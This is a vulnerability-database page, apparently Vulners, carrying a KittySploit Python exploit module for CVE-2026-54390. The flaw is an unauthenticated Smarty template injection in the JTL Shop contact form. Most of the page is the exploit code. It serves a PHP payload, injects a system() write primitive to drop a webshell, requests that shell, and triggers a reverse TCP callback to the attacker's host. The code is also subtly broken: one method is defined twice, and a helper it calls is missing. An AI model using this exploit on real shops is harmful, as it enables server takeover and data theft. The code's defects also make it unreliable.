Lucene search
+L

JTL Shop Smarty SSTI RCE (CVE-2026-54390)

🗓️ 06 Aug 2026 13:55:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated RCE in JTL Shop via SSTI in the contact form input.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-54390
10 Jul 202610:55
–githubexploit
attackerkb
attackerkb
CVE-2026-54390
18 Jun 202617:33
–attackerkb
circl
Circl
CVE-2026-54390
18 Jun 202618:30
–circl
cve
CVE
CVE-2026-54390
18 Jun 202617:33
–cve
cvelist
Cvelist
CVE-2026-54390 JTL Shop < 5.7.2 Server-Side Template Injection via Smarty Renderer
18 Jun 202617:33
–cvelist
euvd
EUVD
EUVD-2026-37925
18 Jun 202617:33
–euvd
kitploit
Kitploit
CVE-2026-54390
13 Oct 202600:09
–kitploit
kittysploit
KittySploit
JTL Shop CVE-2026-54390 Smarty SSTI Detect
6 Aug 202613:55
–kittysploit
nvd
NVD
CVE-2026-54390
18 Jun 202618:16
–nvd
ptsecurity
Positive Technologies
PT-2026-50772
18 Jun 202600:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-54390 — JTL Shop Smarty SSTI unauthenticated RCE."""

from __future__ import annotations

import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.jtl_shop_probe import (
    JTL_PATCHED_VERSIONS,
    JTL_RCE_MIN,
    JTL_VULN_MAX,
    JtlPayloadServer,
    JtlShop,
)


class Module(Exploit, Http_client, JtlShop):
    __info__ = {
        "name": "JTL Shop Smarty SSTI RCE (CVE-2026-54390)",
        "description": (
            "Exploits CVE-2026-54390 in JTL Shop 5.4.0–5.7.1: unauthenticated contact "
            "form input reaches SmartyRenderer::fetch('string:' . $subject). Serves the "
            "configured framework PHP payload locally, injects a Smarty system() write "
            "primitive via vorname, waits for async email rendering, then triggers "
            "reverse_tcp through HTTP."
        ),
        "author": ["Sansec", "KittySploit Team"],
        "cve": ["CVE-2026-54390"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-54390",
            "https://www.cve.org/CVERecord?id=CVE-2026-54390",
            "https://sansec.io/research/jtl-shop-ssti-rce",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "jtl",
            "jtl-shop",
            "smarty",
            "ssti",
            "contact-form",
            "rce",
            "unauthenticated",
            "cve-2026-54390",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["php"],
                "confidence_min_any": {},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    payload_port = OptPort(
        9999,
        "Local port serving PHP for Smarty remote fetch (uses lhost)",
        False,
    )
    contact_path = OptString("", "Contact form path override (auto-detect if empty)", False)
    inject_field = OptString(
        "vorname",
        "Contact form field injected with Smarty payload",
        False,
        advanced=True,
    )
    shell_name = OptString("", "Written PHP filename in webroot (random if empty)", False, advanced=True)
    wait_seconds = OptInteger(
        20,
        "Seconds to poll for async email SSTI shell write",
        False,
        advanced=True,
    )
    skip_version_check = OptBool(
        False,
        "Attempt exploit when version appears patched or unknown",
        False,
        advanced=True,
    )

    def _base_path(self) -> str:
        path = str(getattr(self, "path", "/") or "/").strip()
        return path if path.startswith("/") else f"/{path}"

    def _base_path(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payloads/singles/cmd/php/reverse_tcp")
        return php

    def _shell_filename(self) -> str:
        name = str(self.shell_name or "").strip() or f"ks_{self.random_text(8)}.php"
        return name if name.endswith(".php") else f"{name}.php"

    def _contact_form(self) -> Optional[dict]:
        extra = [str(self.contact_path)] if str(self.contact_path or "").strip() else None
        return self.jtl_find_contact_form(self._base_path(), extra_paths=extra)

    def check(self):
        probe = self.jtl_probe(self._base_path())
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "JTL Shop not detected",
                "confidence": "medium",
            }

        version = str(probe.get("version") or "")
        vuln = self.jtl_is_vulnerable(version)
        rce = self.jtl_supports_rce(version)

        if vuln is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"JTL Shop {version} patched for CVE-2026-54390 "
                    f"(fixed in {', '.join(JTL_PATCHED_VERSIONS)})"
                ),
                "confidence": "high",
            }

        if rce is False and version and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"JTL Shop {version} < {JTL_RCE_MIN} — credential theft only, "
                    f"not full RCE via file_get_contents"
                ),
                "confidence": "high",
            }

        form = self._contact_form()
        if not form:
            return {
                "vulnerable": False,
                "reason": "JTL Shop detected but no contact form found",
                "confidence": "medium",
            }

        if not str(self.payload or "").strip():
            return {
                "vulnerable": True,
                "reason": f"JTL Shop {version or 'unknown'} with contact form — set a PHP payload",
                "confidence": "medium",
            }

        confidence = "high" if vuln is True and rce is True else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"JTL Shop {version or 'unknown'} contact form at {form.get('path')}; "
                f"CVE-2026-54390 if {JTL_VULN_MAX} and >= {JTL_RCE_MIN} for RCE"
            ),
            "confidence": confidence,
        }

    def _trigger_shell(self, shell_path: str) -> bool:
        response = self.http_request(
            method="GET",
            path=shell_path,
            allow_redirects=True,
            timeout=int(self.timeout or 20),
        )
        return bool(response and int(response.status_code or 0) in (200, 500))

    def _poll_shell(self, shell_name: str) -> Optional[str]:
        deadline = time.time() + max(5, int(self.wait_seconds or 20))
        while time.time() < deadline:
            shell_path = self.jtl_resolve_shell(shell_name, self._base_path())
            if shell_path:
                return shell_path
            time.sleep(2)
        return None

    def run(self):
        server: Optional[JtlPayloadServer] = None
        try:
            print_status("CVE-2026-54390 — JTL Shop Smarty SSTI contact form RCE")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            form = self._contact_form()
            if not form:
                print_error("Contact form not found")
                return False

            php_source = self._payload_php()
            shell_name = self._shell_filename()
            lhost = self.lhost or "127.0.0.1"
            port = int(self.payload_port or 9999)

            server = JtlPayloadServer(php_source, host="0.0.0.0", port=port).start()
            payload_url = server.public_url(lhost)
            print_info(f"Serving framework payload at {payload_url}")

            ssti_payload = self.jtl_build_write_payload(payload_url, shell_name)
            inject_field = str(self.inject_field or "vorname").strip()
            print_status(
                f"Submitting Smarty write payload via {inject_field} "
                f"→ ./{shell_name} (async email SSTI)"
            )

            if not self.jtl_submit_contact_form(
                form,
                ssti_payload,
                inject_field=inject_field,
            ):
                print_warning("Contact form submission did not return a clear success marker")

            print_status(f"Polling up to {int(self.wait_seconds or 20)}s for written shell")
            shell_path = self._poll_shell(shell_name)
            if not shell_path:
                print_error(
                    "Shell not observed — email SSTI may be disabled, blocked, or lhost unreachable"
                )
                return False

            print_success(f"Payload written to {shell_path}")
            print_status(f"Executing payload: GET {shell_path}")
            if not self._trigger_shell(shell_path):
                print_error("Uploaded PHP not reachable — execution may still have occurred")
                return False

            print_success(f"Payload triggered at {shell_path}")
            print_info("Verify listener/session for reverse_tcp callback")
            self.vulnerable()
            return True

        except ValueError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False
        finally:
            if server:
                server.stop()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.3
CVSS 3.19.8
EPSS0.00604
SSVC
2